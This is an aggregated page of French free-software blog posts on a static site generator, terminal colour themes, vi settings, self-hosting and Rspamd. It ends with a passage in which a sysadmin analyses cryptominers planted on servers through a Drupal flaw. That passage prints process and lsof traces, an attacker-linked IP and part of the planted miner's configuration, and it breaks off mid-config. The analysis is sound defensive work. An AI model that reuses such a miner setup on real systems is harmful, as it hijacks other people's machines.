Planet Libre

Miamondo : Automatiser la mise en page d’un roman grâce à un script Python

Bonjour, Aujourd'hui, je vais vous prouver que la paresse a des vertus insoupçonnées car c'est elle qui nous pousse à nous creuser les méninges pour en faire le moins possible. Je suis actuellement en train de corriger les derniers chapitres d'un roman intitulé  On ira tou·te·s au Paradis. Si vous cliquez sur ce lien, vous accédez... Lire la suite →

Gravatar de Miamondo
Original post of Miamondo.Votez pour ce billet sur Planet Libre.

Articles similaires

Thuban : Encouragements et Contact

Encouragements et Contact Encouragements

Ce site vous plaît? Vous voulez m'encourager? Comment me soutenir?

  • Vous pouvez passer par liberapay :
  • Réaliser un virement bancaire. Cette solution est sans frais et ne passe pas par un service tiers. Envoyez un courriel pour demander mes coordonnées.
  • En envoyant votre recette favorite, un livre que vous avez bien aimé, ou un simple merci à cette adresse. À votre imagination de choisir ☺.
  • Vous trouverez une liste d'envies ici.
Contact À propos

Licence Creative Commons

Rendez-vous sur Arrakis de Xavier Cartron est mis à disposition selon les termes de la licence Creative Commons Attribution - Partage dans les Mêmes Conditions 4.0 International.

Fondé(e) sur une œuvre à http://yeuxdelibad.net.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban :  Blog statique, bye bye Blogotext

 Blog statique, bye bye Blogotext

Après 8 ans d'existence, mon blog sera désormais “statique” et disponible à l'adresse https://yeuxdelibad.net/Journal. Vous pouvez en suivre les nouveautés avec n'importe quel lecteur de flux grâce au flux atom.

Ce “déménagement” a lieu pour plusieurs raisons :

  • Besoin de changement et de simplicité.
  • Envie de rapidité.
  • Le développement de Blogotext est au ralenti, j'avais besoin de m'occuper.
  • Blogotext me servait avant tout pour les commentaires. Vu la teneur des messages, un lien pour m'envoyer un mail sera suffisant, j'ajouterai les liens à la main. Si c'est trop contraignant, rien ne m'empêche d'ajouter Hashover.
  • C'est censé me forcer à publier moins impulsivement.

J'aime toujours autant Blogotext et continue de l'utiliser sur d'autres blogs. Mais avoir un site statique présente des avantages certains :

  • C'est vachement plus rapide.
  • J'utilise les outils d'édition que je veux, et organise mes documents tranquilou.
  • Niveau sécurité, on peut difficilement faire plus sûr sans PHP.
  • La gestion des commentaires “spam” est encore plus simple. Quoi que, il faut l'avouer, j'ai dû être embêté 5 fois maximum en 8 ans de blog…
  • J'aime l'idée de la simplicité.

Ça m'a permis de remettre le nez dans le code de swx, le générateur de site statique, mais j'en reparlerai dans un autre billet.

Grâce à Blogotext, j'ai pu exporter tous mes articles et commentaires au format json. Après un peu de bidouille en python, j'ai pu recréer tout le contenu afin de faciliter les redirections de l'ancien blog vers le nouveau.

Ensuite, un peu de CSS pour l'apparence, du javascript pour rigoler et ça suffira bien.

Pour ceux qui veulent continuer à lire mes bafouilles, n'oubliez pas de vous abonner au nouveau flux atom.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

blog-libre : Lignux

Au détour d’une promenade sur le net, j’ai vu quelques personnes pousser à l’adoption du mot LiGNUx à la place de GNU/Linux. Ça m’a fait marrer… puis je me suis rendu compte que c’était une putain de bonne idée. Je me voyais déjà défendre fièrement cette prodigieuse idée dans un article.

Comme j’aime les mots et que je creuse les choses à l’occasion de la rédaction d’un article, j’ai découvert qu’il y avait une page Wikipédia consacrée à la controverse Linux ou GNU/Linux. C’est énorme, il y a des arguments en faveur de chacun des deux usages mais surtout :

En mai 1996, Richard M. Stallman sort la version 19.31 d’Emacs, changeant le système cible « Linux » en « Lignux », en arguant qu’il donne ainsi sa pleine légitimité au projet GNU, d’où découlent les termes « système Linux basé sur GNU », « système GNU/Linux » ou « Lignux » se référant à la combinaison du noyau Linux et le système GNU. Richard M. Stallman arrêta finalement d’utiliser le terme « Lignux » pour ne plus utiliser que celui de « GNU/Linux ».

C’est dingue ce qu’on apprend sur le net, enfin quand on cherche à apprendre… Je trouve Lignux bien plus pertinent que GNU/Linux, plus simple à écrire, indissociable, mieux associé et imbriqué. Si j’avais su.

La majorité du temps, j’essaie de mettre GNU/Linux. Je suis seulement convaincu qu’une majorité de distribs doit autant au projet Linux qu’au projet GNU et qu’on a tendance à minimiser voire oublier le second. Simple question de respect et de responsabilité. Je n’irai pas ennuyer les gens car ils disent Linux, c’est la liberté de chacun d’utiliser le mot qu’il souhaite.

Voilà pourquoi vous ne me verrez plus utiliser le mot GNU/Linux mais Lignux ha ha ha !

Gravatar de blog-libre
Original post of blog-libre.Votez pour ce billet sur Planet Libre.

Thuban : swx - static site generator

swx - static site generator

swx is now here : swx.

This page in french

swx is a tool to generate a static website from a file tree written in [markdown http://daringfireball.net/projects/markdown/syntax], [txt2tags http://txt2tags.org/] or any other markup language.

It does'nt require any other tool except usal commands (cp, sed…) and the markup parser.

Inspired by sw, swx will generate you html pages, create links between them in a menu. You cas use simple css and templates that will be included in your pages.

Features
  • Convert markdown to html
  • Add menu between pages
  • Ignore some files in a blacklist
  • Generate a rss feed : see swx_rss
  • Generate a blog page. For comments, use [Hashover http://tildehash.com/?page=hashover] or Disqus.
  • Generate a site map see swx_plan
  • Generate a sitemap for web indexers see swx_sitemap
  • Use a Makefile to simplify the site generation see Makefile

Example : source tree

/home/user/site/ |style.css |--------------directory/ |-----------------------index.md |-----------------------file1.md |-----------------------image.jpg |--------------directory2/ |-----------------------index.t2t |-----------------------article.md

will become in output

/home/user/site.static/ |style.css |--------------directory/ |-----------------------index.html |-----------------------file1.html |-----------------------image.jpg |--------------directory2/ |-----------------------index.html |-----------------------article.html Install

Download files here here

Using

Simple run :

./swx directory_containing_website

then, push you site the way you prefer with mercurial, git, rsync or even ftp

Configuration

To configure, edit swx.conf

You can change uppercase variables to fit your needs

  • BL : blacklist, the files that won’t be in the menu
  • CONVERTER : tool to convert sources . Pour txt2tags : CONVERTER='txt2tags -t html -o- --no-headers'.
  • EXT=".md" : extension of files to convert
  • FOOTER : what you want in footer
  • HEADER : what you want in header
  • TOPTEMPLATE : this will be included before the text of your pages Note that the default config file allows you to have a link to the to of the page.
  • BOTTOMTEMPLATE : text included between your text and footer.

Modyfy how your site looks with style.css

Example mkdir dossier cd dossier wget http://dev.yeuxdelibad.net/swx.tgz tar xvzf swx.tgz mkdir monsite vim monsite/index.md vim monsite/page1.md mkdir monsite/dossier1 vim monsite/dossier1/index.md ./swx/swx monsite

Appears monsite.static containing every pages converted to html and a new file swx.log containing the list of news pages (used later)

RSS feed

Use swx_rss to generate feed.xml

./swx_rss > DESTDIR/feed.xml

Replace DESTDIR the path to the output directory

Site map

Generate a list of pages in your site with

./swx_plan DESTDIR > DESTDIR/Divers/map.html

And replace of course : DESTDIR

Sitemap generator ./swx_sitemap DESTDIR > DESTDIR/sitemap.xml

Then, you can compress it :

gzip --best -c DESTDIR/sitemap.xml > DESTDIR/sitemap.gz

Don’t forget to edit robots.txt

User-agent: * Disallow: Sitemap: http://votredomaine.net/sitemap.gz Makefile

Example Makefile to edit to fit your needs:

SOURCEDIR=$(CURDIR)/example DESTDIR=$(CURDIR)/example.static all: ./swx $(SOURCEDIR) ./swx_gopher $(SOURCEDIR) ./swx_sitemap $(DESTDIR) > $(DESTDIR)/sitemap.xml gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz ./swx_plan $(DESTDIR) > $(DESTDIR)/siteplan.html ./swx_rss > $(DESTDIR)/feed.xml ./swx_blog $(DESTDIR)/index.html clean: rm -rf *.static rm swx.log force: find Rendez-vous_sur_Arrakis -exec touch {} \\; make all serve: cd $(DESTDIR) && python3 -m http.server && x-www-browser http://localhost:8000

Then, just run :

  • make : build/update your site
  • make clean : Delete the site
  • make force : Force rebuild, event non-recent files
  • make serve : test site (python required) at http://localhost:8000
The end

Most of script can be improved, and simplified.

Avoid weird file names (use detox!)

Do not hesitate to contact me for any suggestion here

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : swx - générateur de site statique

swx - générateur de site statique

swx est maintenant maintenu par le collectif 3hg : nouvelle page pour swx.

This page in english

swx permet de créer un site statique à partir d'une arborescence de fichiers écrits au format txt2tags ou markdown. Notez toutefois que n'importe quel autre convertisseur et langage markup, (pandoc…) peut être utilisé.

Mis à part ce convertisseur, aucun outil spécial n'est nécessaire, on n'utilise que les commandes de base du système (sed, cut, echo…)

Il s'agit en fait d'un kit de scripts qui ont pour chacun une tâche précise. “Diviser pour mieux régner” qu'ils disaient… Au moins, chaque script fait son boulot, et le fait bien.

Inspiré par sw, swx générera vos pages html, créera des liens entre elles sous forme de menu, et au lieu d'utiliser des modèles avec jinja, vous pouvez utiliser des simples feuilles de style css et préciser au script des morceaux de html que vous voudriez voir dans chaque page.

Fonctionnalités
  • Clone de la structure d'un site
  • Conversion des fichiers markdown, txt2tags en html
  • Ajout d'un menu de navigation entre les pages
  • Ajout des nouvelles pages à la première page du site
  • Peut ignorer des fichiers d'une liste définie dans le fichier de configuration
  • Création d'un flux rss : voir swx_rss
  • Création d'un page de blog : voir swx_blog. Pour les commentaires, utilisez [Hashover http://tildehash.com/?page=hashover ] ou Disqus.
  • Génération d'un “plan de site” listant tout ce qui y est disponible. voir swx_plan
  • Génération d'un “plan de site” lisible par les robots (pour l'indexation des moteurs de recherche) voir swx_sitemap
  • Utiliser un Makefile pour simplifier la génération du site voir Makefile

Exemple : Si votre répertoire source est ainsi :

/home/user/site/ |style.css |--------------directory/ |-----------------------index.md |-----------------------file1.md |-----------------------image.jpg |--------------directory2/ |-----------------------index.t2t |-----------------------article.md

Il deviendra en sortie

/home/user/site.static/ |style.css |--------------directory/ |-----------------------index.html |-----------------------file1.html |-----------------------image.jpg |--------------directory2/ |-----------------------index.html |-----------------------article.html Installation

Téléchargez tous les fichiers présents ici

Installez de quoi traiter votre langage markup (markdown, discount, txt2tags…)

Utilisation

Le script se lance simplement ainsi, dans le répertoire qui contient le dossier contenant votre site :

./swx repertoire_contenant_le_site

Ensuite, libre à vous de copier votre site ou le mettre à jour de la façon que vous préférez

  • Gestionnaire de versions (mercurial, git)
  • rsync (avec l'option -c pour n'uploader que les modifications)
  • ftp
Configuration

La configuration se déroule dans le fichier swx.conf

Vous pouvez modifier le contenu des variables (en majuscule) pour définir:

  • Le titre de votre site (TITLE) et le sous-titre (SUBTITLE)
  • L'adresse du site dans HOSTNAME
  • Des fichiers à ne pas lister dans le menu (BL)
  • CONVERTER : Le programme qui servira à convertir vos fichiers source . Pour txt2tags : CONVERTER='txt2tags -t html -o- --no-headers'.
  • L'extension des fichier à convertir (défaut : EXT=“.md”).
  • FOOTER : le contenu que vous voulez en pied de page
  • HEADER : le contenu souhaité en en-tête de page (favicon, auteur, feuille de style style.css…)
  • TOPTEMPLATE : ce qu'il y aura avant vos textes. Notez que le fichier de configuration par défaut permet d'avoir un lien vers le haut de la page.
  • BOTTOMTEMPLATE : ce qu'il y aura après vos textes

Vous pouvez définir l'apparence souhaitée en modifiant le fichier style.css. Un exemple est fourni avec swx.

Exemple d'utilisation

C'est parti, voyons en quelques étapes comment utiliser toutes les fonctionnalités de swx.

Tout d'abord, on va créer un dossier pour pouvoir travailler :

mkdir dossier cd dossier

On télécharge swx, on le décompresse :

wget http://dev.yeuxdelibad.net/swx.tgz tar xvzf swx.tgz

On crée un nouveau dossier qui contiendra notre site, puis on y crée quelques pages

mkdir monsite vim monsite/index.md vim monsite/page1.md mkdir monsite/dossier1 vim monsite/dossier1/index.md

On génère une première fois notre site :

./swx monsite

Apparaît alors un dossier monsite.static qui contient toutes les pages converties en html, et un nouveau fichier swx.log qui contient la liste des nouvelles pages (ça nous servira plus tard).

Ajout d'un flux rss

Pour ajouter un flux rss, on va créer un fichier feed.xml à la racine du site.

On utilise le script swx_rss fournit avec swx ainsi :

./swx_rss > DESTDIR/feed.xml

Remplacez DESTDIR par le dossier qui contiendra le site. Dans notre exemple, c'est monsite.static

Ajout d'un page type blog

Vous pouvez créer une page de type blog, contenant les articles récents. Il faut lancer :

./swx_blog DESTDIR/page.html

Si le fichier page.html contient “%%%BLOG%%%” (ou ce que vous aurez définit dans la configuration), alors cette ligne sera remplacée par la liste des articles récents.

Ajout d'une page de plan de site

Pour générer un plan de votre site que les visiteurs pourront utiliser afin de le parcourir, vous pouvez utiliser le script swx_plan fournit avec swx.

Pour l'utiliser :

./swx_plan DESTDIR > DESTDIR/Divers/Plan_du_site.html

Remplacez DESTDIR par le dossier qui contiendra le site. Dans notre exemple, c'est monsite.static

N'hésitez pas à éditer le script pour modifier l'apparence de la page générée. Il utilise par défaut le style.css de votre site.

Ajout d'une page de plan de site lisible par les robots

Tout simplement, pour créer un sitemap lisible par les moteurs de recherche :

./swx_sitemap DESTDIR http://yoursite.com > DESTDIR/sitemap.xml

Que vous pouvez compresser ensuite ainsi :

gzip --best -c DESTDIR/sitemap.xml > DESTDIR/sitemap.gz

N'oubliez pas de rajouter dans le fichier robots.txt ceci :

User-agent: * Disallow: Sitemap: http://votredomaine.net/sitemap.gz Automatiser le tout

Vous pouvez soit utiliser un script appelant les commandes précédentes, ou bien un fichier Makefile, qui vous permettra de faire tout ça avec simplement la commande make.

Exemple de fichier Makefile, à adapter selon le chemin de vos fichiers (variables DESTDIR, SOURCEDIR, et le nom du dossier contenant le site (ici Rendez-vous_sur_Arrakis)) :

SOURCEDIR=$(CURDIR)/example DESTDIR=$(CURDIR)/example.static all: ./swx $(SOURCEDIR) ./swx_gopher $(SOURCEDIR) ./swx_sitemap $(DESTDIR) > $(DESTDIR)/sitemap.xml gzip --best -c $(DESTDIR)/sitemap.xml > $(DESTDIR)/sitemap.gz ./swx_plan $(DESTDIR) > $(DESTDIR)/siteplan.html ./swx_rss > $(DESTDIR)/feed.xml ./swx_blog $(DESTDIR)/index.html clean: rm -rf *.static rm swx.log force: find Rendez-vous_sur_Arrakis -exec touch {} \\; make all serve: cd $(DESTDIR) && python3 -m http.server && x-www-browser http://localhost:8000

Voici ce que vous pourrez faire avec ce fichier présent dans votre dossier contenant swx :

  • make : fabrique/met à jour votre site
  • make clean : supprime votre site
  • make force : force la refabrication du site, même si certaines pages ne sont pas détectées comme récentes.
  • make serve : permet de tester votre site localement. Allez sur votre navigateur à la page http://localhost:8000
Pourquoi un autre générateur de site statique?

Bonne question. Ceux qui ont suivi ont pu voir que j'avais écrit auparavant pwg . Cependant il était mal fichu : tout dans un seul fichier, du coup dès que je voulais modifier quelque chose j'étais contraint de me replonger dans le code. C'était vraiment pas facile à maintenir. De plus, le python me limitait au markdown

Mais qu'en est-il des autres générateurs de site statiques? Ben oui, pour ne citer que les plus connus pelican, jekyll… À mon goût, ils faisaient bien trop de choses. Pour déployer un site, il m'aurait fallu reprendre toutes mes pages, y ajouter des tags, reprendre les templates du site…

Le mot de la fin

Évitez les fichiers avec des noms bizarres, des espaces… Pour vous en débarrasser, pensez à la commande detox (paquet debian du même nom)

Si vous souhaitez contribuer, suffit de demander

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Formulaire de recherche sur votre site

Formulaire de recherche sur votre site

Si vous souhaitez ajouter un formulaire de recherche sur votre site, vous pouvez insérer le code html suivant :

Avec duckduckgo :

Cherche sur votresite.tld

Avec qwant :

Chercher sur votresite.tld function encodeHTML(s) { return s.replace(/&/g, '&').replace(/

Dans chaque exemple, pensez à modifier le champ "votresite.tld".

Le formulaire de qwant nécessite l'activation de javascript... Ce n'est pas du code exotique, mais ça peut en chagriner certains.

À vous ;)

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Que c'est lent...

Que c'est lent…

Depuis le déménagement de ma ligne, l'accès à mon serveur est particulièrement lent... Et j'en suis désolé :s

Dans ma nouvelle rue, les lignes téléphoniques sont suspendues à des poteaux en bois... C'est dire l'âge qu'elles ont...
Voici les caractéristiques de mon accès :

  • Synchronisation : ↓ 608 Kbps ; ↑ 160 Kbps
  • Atténuation : 68.0586 dB
  • Distance du NRA : 6462 mètres
  • Type de câble : 6mm : 6462m

Le NRA est loin, l'atténuation grande, le temps de réponse s'en ressent. :/
En attendant, j'ai contacté mon FAI à ce sujet, mais je crains qu'ils ne puissent pas y faire grand chose...

Normalement, la fibre doit être déployée au cours de l'année dans ma commune... J'espère !

le 25/04/2018 à 05:29:09, Mirabellette a dit :

Pas facile l'autohébergement dans un patelin :D

le 26/04/2018 à 09:55:55, paskal a dit :

Et oui, qualité de vie ne rime pas forcément avec haut-débit...
J'éviterai donc de charger cinq pages à la fois, promis !
Et puis, profiter d'un site aussi agréable se mérite. :)

le 28/04/2018 à 14:10:05, arpinux a dit :

@paskal : vrai que ça ajoute un petit suspens à chaque consultation du site :P

le 29/04/2018 à 07:34:20, thuban a dit :

@arpinux :
@paskal :
Ah les coquiins 😜

le 01/05/2018 à 13:46:00, donguid a dit :

J'ai connu le cas dans le sud ouest: le département fibrait à tout va ... entre les NRA. Etant à 5900 m du mien, j'avais la chance d'avoir du 511 alors que certains voisins n'avaient rien (le multiplexage et l'adsl ne sont pas copains). 511, cad la techno d'avant le 512 : j'avais repéré le fil sur le poteau qui m'amenait internet, car un jour un camion a défoncé ce câble, et plus rien. Une fois remis en place, du net. Et par temps de vent, ou lorsqu'un fichu piaf se posait sur ce câble, je constatais la baisse de débit ...

Sinon, de ton coin pas loin de Nantes, es tu passé voir le hackathon OpenBSD ? N'étant pas un dieu du C, je n'oserai pas approcher ce groupe de furieux ;-)

le 01/05/2018 à 14:11:48, thuban a dit :

@donguid : Ça fibre dans le coin pourtant, ça devrait arriver dans l'année d'après les nouvelles de la mairie...

Et non, je n'ai pas eu l'occasion d'assister au hackaton. Moi non plus, je ne saurais pas participer, mais j'aurais été curieux de rencontrer ces furieux ;)

le 05/05/2018 à 13:45:20, utux a dit :

Loue un vps à 3€ par mois..

le 05/05/2018 à 14:48:46, thuban a dit :

@utux : J'y ai pensé, mais un VPS ne me permet pas de garder les données chez moi.
Et du mail sur un VPS, c'est pas évident...

le 06/05/2018 à 13:51:27, PengouinPdt a dit :

Mon petit doigt me dit qu'il connaît même un serveur qu'il pourrait utiliser, qui à-priori supporte bien la charge... qu'il pourrait le faire pour la partie web, à minima...
Qu'il n'y a aucun problème qu'il l'utilise pour cela...

Mais bon, chacun fait ses choix, hein ! ;)

le 06/05/2018 à 16:13:45, thuban a dit :

@PengouinPdt : Ça ne change rien au fait que je veux garder les données chez moi.
Le CHATONS que j'héberge se vante de respecter les utilisateurs. Si je mettais leurs données et leurs mails sur un autre serveur, ça serait incohérent.

Pour ce qui est de mon blog perso ou mon site, c'est juste par caprice, je veux m'auto-héberger, car je peux le faire.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓

Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓

Ça y est, mon fournisseur d'accès à internet a déménagé ma ligne après qu'orange ait enfin terminé d'installer ma ligne.
Il reste du temps pour que les DNS se propagents, et je suppose qu'il restera des petits détails à régler, mais c'est une bonne chose de faite.

N'hésitez pas à me rapporter ici d'éventuels soucis.

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : dracula - une palette de couleurs pour vos applications

dracula - une palette de couleurs pour vos applications

J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.

Cependant, j'en ai eu marre et eu envie de tester une alternative : dracula

Plus sombre que son prédécesseur, il est à mon avis plus agréable.

alt

Vous trouverez des thèmes pour la plupart des applications.
Ci-dessous, voici les couleurs pour dmenu :

# draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"

Et pour xterm (fichier .Xdefaults)

! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0: #000000*.color8: #4D4D4D*.color1: #FF5555*.color9: #FF6E67*.color2: #50FA7B*.color10: #5AF78E*.color3: #F1FA8C*.color11: #F4F99D*.color4: #BD93F9*.color12: #CAA9FA*.color5: #FF79C6*.color13: #FF92D0*.color6: #8BE9FD*.color14: #9AEDFE*.color7: #BFBFBF*.color15: #E6E6E6

Il y a même un patch pour st

enjoy ;)

le 21/04/2018 à 16:24:00, Comete a dit :

Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256

*foreground: #909090
*background: #1c1c1c
*color0: #1C1C1C
*color8: #404040
*color1: #B85335
*color9: #d7875f
*color2: #87d75f
*color10: #d7ff87
*color3: #FFB964
*color11: #FAD07A
*color4: #7292d2
*color12: #87afff
*color5: #b87ab8
*color13: #dbbddb
*color7: #909090
*color15: #e4e4e4

! color man pages
*VT100*colorMode: on
*VT100*boldColors: on
*VT100*dynamicColors: on
*VT100*colorULMode: on
*VT100*underLine: off
*VT100*colorBDMode: on
*VT100*colorUL: #87d75f
*VT100*colorBD: #e04613

le 22/04/2018 à 10:34:48, sogal a dit :

Yeah !
Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !

Du coup j'ai fait un petit thème pour Tilix :

cat ~/.config/tilix/schemes/Dracula.json { "background-color": "#282936", "badge-color": "#FFFFFF", "bold-color": "#FFFFFF", "comment": "", "cursor-background-color": "#BABDB6", "cursor-foreground-color": "#BBBBBB", "foreground-color": "#F8F8F2", "highlight-background-color": "#F8F8F8", "highlight-foreground-color": "#888A85", "name": "Dracula", "palette": [ "#000000", "#FF5454", "#50FA7B", "#F7CA88", "#BD93F9", "#FF79C6", "#8BE8FD", "#BBBBBB", "#44475A", "#FF5454", "#50FA7A", "#F1FA8C", "#BD93F9", "#FF79C6", "#8BE8FD", "#FFFFFF" ], "use-badge-color": false, "use-bold-color": false, "use-cursor-color": true, "use-highlight-color": true, "use-theme-colors": false}

Merci pour cet article découverte !

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Configurer vi (et pas vim)

Configurer vi (et pas vim)

Pour les barbus fervents de minimalisme, pas besoin de vim, vi suffit à lui tout seul :)

Afin de le configurer, il faut éditer le fichier ~/.exrc. Voici le contenu (tout petit) du mien :

set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent

Le "man vi" vous donnera des détails si besoin ;)

le 18/04/2018 à 09:40:58, karchnu a dit :

En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.

le 18/04/2018 à 10:15:18, Starsheep a dit :

Je pense que tu peux aller encore plus loin dans le minimalisme : ed.

Bon courage. :D

le 18/04/2018 à 17:12:48, thuban a dit :

@Starsheep : En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.
Mais clairement, vi est plus facile :)
Sinon, chiche ! Je te regarde ;)

le 18/04/2018 à 21:02:25, fougasse a dit :

@thuban :

En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.

→ tu veux dire "ex" et "vi" font partie du même programme non ?

le 18/04/2018 à 21:18:56, thuban a dit :

@fougasse : Ah oui, pardon, c'est bien "ex", j'ai confondu.

le 19/04/2018 à 20:01:27, trefix a dit :

Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D

/me => []

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Stéphane de Labrusse : Rspamd: un nouveau jouet pour Nethserver

Rspamd est un logiciel antispam, un concurrent en quelque sorte de spamassassin, qui n’est plus vraiment développé. Rspamd est jeune,  il apprend rapidement, extensible, en pleine mutation.

Cela en  fait un outil très intéressant pour NethServer qui propose par le biais de ses modules de pouvoir installer facilement un serveur email avec toutes les parties annexes (imap, pop3, opendkim, spf, spamassassin/rspamd, smtp relay, …).

Le tout en cliquant simplement dans le software center alors que le paramétrage de Postfix et sa sécurisation pourraient être un calvaire pour d’autres.

Pour l’instant rspamd est un module différent de la pile email habituelle, il vous faut installer les rpms : nethserver-mail2-server nethserver-mail2-filter mais la procédure est documentée et nous devons très bientôt remplacer spamassassin par rspamd.

La documentation est accessible ICI

Je peux dire nous, car avec fierté, j’ai largement contribué à créer ce module avec le soutien et l’aide de Davide Principi le lead-developer de NethServer.

Gravatar de Stéphane de Labrusse
Original post of Stéphane de Labrusse.Votez pour ce billet sur Planet Libre.

Articles similaires

Stéphane de Labrusse : La météore Nethserver

J’ai eu l’occasion de faire une conférence de présentation de la distribution Nethserver, le 18 novembre 2017 au capitole du libre. Je vous livre la présentation ainsi que la vidéo.

meteore_nethserver_20171118.odp

meteore_nethserver_20171118.pdf

 

Un grand moment pour moi, merci à tous les participants.

Gravatar de Stéphane de Labrusse
Original post of Stéphane de Labrusse.Votez pour ce billet sur Planet Libre.

Articles similaires

genma : Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
-Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
